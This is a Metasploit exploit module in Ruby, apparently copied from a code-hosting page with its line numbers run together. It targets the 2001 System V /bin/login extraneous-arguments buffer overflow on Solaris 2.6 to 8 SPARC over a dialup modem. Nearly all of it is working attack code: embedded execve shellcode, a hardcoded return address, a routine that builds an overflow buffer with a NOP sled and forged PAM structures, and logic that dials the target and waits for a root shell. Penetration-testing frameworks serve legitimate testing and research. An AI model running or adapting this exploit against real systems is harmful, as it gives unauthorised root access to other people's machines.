Path: blob/master/modules/exploits/solaris/dialup/manyargs.rb
32415 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Dialup9include Msf::Module::Deprecated1011moved_from 'exploit/dialup/multi/login/manyargs'1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',18'Description' => %q{19This exploit connects to a system's modem over dialup and exploits20a buffer overflow vulnerability in it's System V derived /bin/login.21The vulnerability is triggered by providing a large number of arguments.22},23'References' => [24['CVE', '2001-0797'],25['OSVDB', '690'],26['OSVDB', '691'],27['BID', '3681'],28['URL', 'https://web.archive.org/web/20120114122443/http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],29['URL', 'https://web.archive.org/web/20120114113100/http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],30['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'],31],32'Author' => [33'I)ruid'34],35'Arch' => ARCH_TTY,36'License' => MSF_LICENSE,37'Payload' => {38'Space' => 3000,39'BadChars' => '',40'DisableNops' => true41},42'Targets' => [43[44'Solaris 2.6 - 8 (SPARC)',45{46'Platform' => 'unix',47'Ret' => 0x00027184,48# Solaris/SPARC special shellcode (courtesy of inode)49# execve() + exit()50'Shellcode' =>51"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" \52"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" \53"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" \54"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08".b,55'NOP' => "\x90\x1b\x80\x0e".b56}57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2001-12-12',61'Notes' => {62'Stability' => [ CRASH_SERVICE_RESTARTS ],63'SideEffects' => [ IOC_IN_LOGS ],64'Reliability' => [ REPEATABLE_SESSION ]65}66)67)68end6970def buildbuf71print_status("Targeting: #{target.name}")7273retaddr = target.ret74shellcode = target['Shellcode']75nop = target['NOP']7677# prepare the evil buffer78i = 079buf = ''8081# login name82buf[i, 4] = 'bin '83i += 48485# return address86buf[i, 4] = [retaddr].pack('N')87i += 488buf[i, 1] = ' '89i += 19091# trigger the overflow92(0...60).each do |_c|93buf[i, 2] = 'a '94i += 295end9697# padding98buf[i, 4] = ' BBB'99i += 4100101# nop sled and shellcode102(0...398).each do |_c|103buf[i, nop.size] = nop104i += nop.size105end106shellcode.each_byte do |b|107c = b.chr108case c109when '\\'110buf[i, 2] = '\\\\'111i += 2112when "\xff", "\n", ' ', "\t"113buf[i, 1] = '\\'114buf[i + 1, 1] = (((b & 0o300) >> 6) + '0').chr115buf[i + 2, 1] = (((b & 0o070) >> 3) + '0').chr116buf[i + 3, 1] = ((b & 0o007) + '0').chr117i += 4118else119buf[i, 1] = c120i += 1121end122end123124# TODO: need to overwrite/skip the last byte of shellcode?125# i -= 1126127# padding128buf[i, 4] = 'BBB '129i += 4130131# pam_handle_t: minimal header132buf[i, 16] = 'CCCCCCCCCCCCCCCC'133i += 16134buf[i, 4] = [retaddr].pack('N')135i += 4136buf[i, 4] = [0x01].pack('N')137i += 4138139# pam_handle_t: NULL padding140(0...52).each do |_c|141buf[i, 4] = [0].pack('N')142i += 4143end144145# pam_handle_t: pameptr must be the 65th ptr146buf[i, 9] = "\x00\x00\x00 AAAA\n"147i += 9148149return buf150end151152def exploit153buf = buildbuf154155print_status('Dialing Target')156if !connect_dialup157print_error('Exiting.')158return159end160161print_status('Waiting for login prompt')162163res = dialup_expect(/ogin:\s/i, 10)164# puts Rex::Text.to_hex_dump(res[:buffer])165if !(res[:match])166print_error('Login prompt not found... Exiting.')167disconnect_dialup168return169end170171# send the evil buffer, 256 chars at a time172print_status('Sending evil buffer...')173# puts Rex::Text.to_hex_dump(buf)174len = buf.length175p = 0176while (len > 0)177i = len > 0x100 ? 0x100 : len178# puts Rex::Text.to_hex_dump(buf[p,i])179dialup_puts(buf[p, i])180len -= i181p += i182# if len > 0183# puts Rex::Text.to_hex_dump("\x04")184# dialup_puts("\x04") if len > 0185# end186select(nil, nil, nil, 0.5)187end188189# wait for password prompt190print_status('Waiting for password prompt')191res = dialup_expect(/assword:/i, 30)192# puts Rex::Text.to_hex_dump(res[:buffer])193if !(res[:match])194print_error('Target is likely not vulnerable... Exiting.')195disconnect_dialup196return197end198199print_status('Password prompt received, waiting for shell')200dialup_puts("pass\n")201202res = dialup_expect(/#\s/i, 20)203# puts Rex::Text.to_hex_dump(res[:buffer])204if !(res[:match])205print_error('Shell not found.')206print_error('Target is likely not vulnerable... Exiting.')207disconnect_dialup208return209end210211print_status('Success!!!')212handler213214disconnect_dialup215end216end217218219